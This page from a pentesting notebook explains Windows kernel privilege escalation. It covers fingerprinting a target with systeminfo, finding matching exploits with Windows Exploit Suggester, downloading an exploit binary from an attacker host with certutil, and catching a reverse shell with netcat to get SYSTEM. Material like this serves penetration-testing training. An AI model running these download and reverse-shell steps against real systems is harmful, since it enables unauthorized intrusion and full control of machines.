> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/windows/kernal-explotation.md).

# Kernal Explotation

Kernel exploits are used to escalate privileges by targeting vulnerabilities in the Windows kernel. These exploits are often tied to unpatched systems or older Windows versions.

***

### Identify Kernel and System Info

Run the following command on the **target system**:

```cmd
systeminfo
```

> Save the output for later use with an exploit suggestion tool:

```cmd
systeminfo > systeminfo.txt
```

***

### Windows Exploit Suggester (Legacy - Python 2.7)

GitHub: [AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)

#### Setup:

```bash
git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git
cd Windows-Exploit-Suggester
```

#### Install Required Package:

> Only version `xlrd==1.2.0` is supported:

```bash
pip2 install xlrd==1.2.0
```

> If a newer version is already installed:

```bash
pip uninstall xlrd
pip2 uninstall xlrd
```

#### Update Exploit Database:

```bash
python2 windows-exploit-suggester.py --update
```

#### Run Analysis:

```bash
python2 windows-exploit-suggester.py --database 2023-10-30-mssb.xlsx --systeminfo systeminfo.txt
```

***

### Public Kernel Exploit Repository

GitHub: [SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits)

> This repository provides compiled and source code kernel exploits for many CVEs.

Example Exploit: **MS10-059**

* CVE: CVE-2010-2568
* Exploit Binary: `MS10-059.exe`

***

### Transferring the Exploit Binary to Target

Use built-in **certutil** on the target:

```cmd
certutil.exe -urlcache -split -f http://<attacker-ip>/MS10-059.exe MS10-059.exe
```

***

### Running the Exploit

Launch a reverse shell listener on the attacker machine:

```bash
nc -lvnp <port>
```

Run the exploit on the target:

```cmd
MS10-059.exe <attacker-ip> <port>
```

***

### Successful Exploitation

On success, you will gain a shell as:

```
nt authority\system
```

This is the highest privilege level on a Windows system.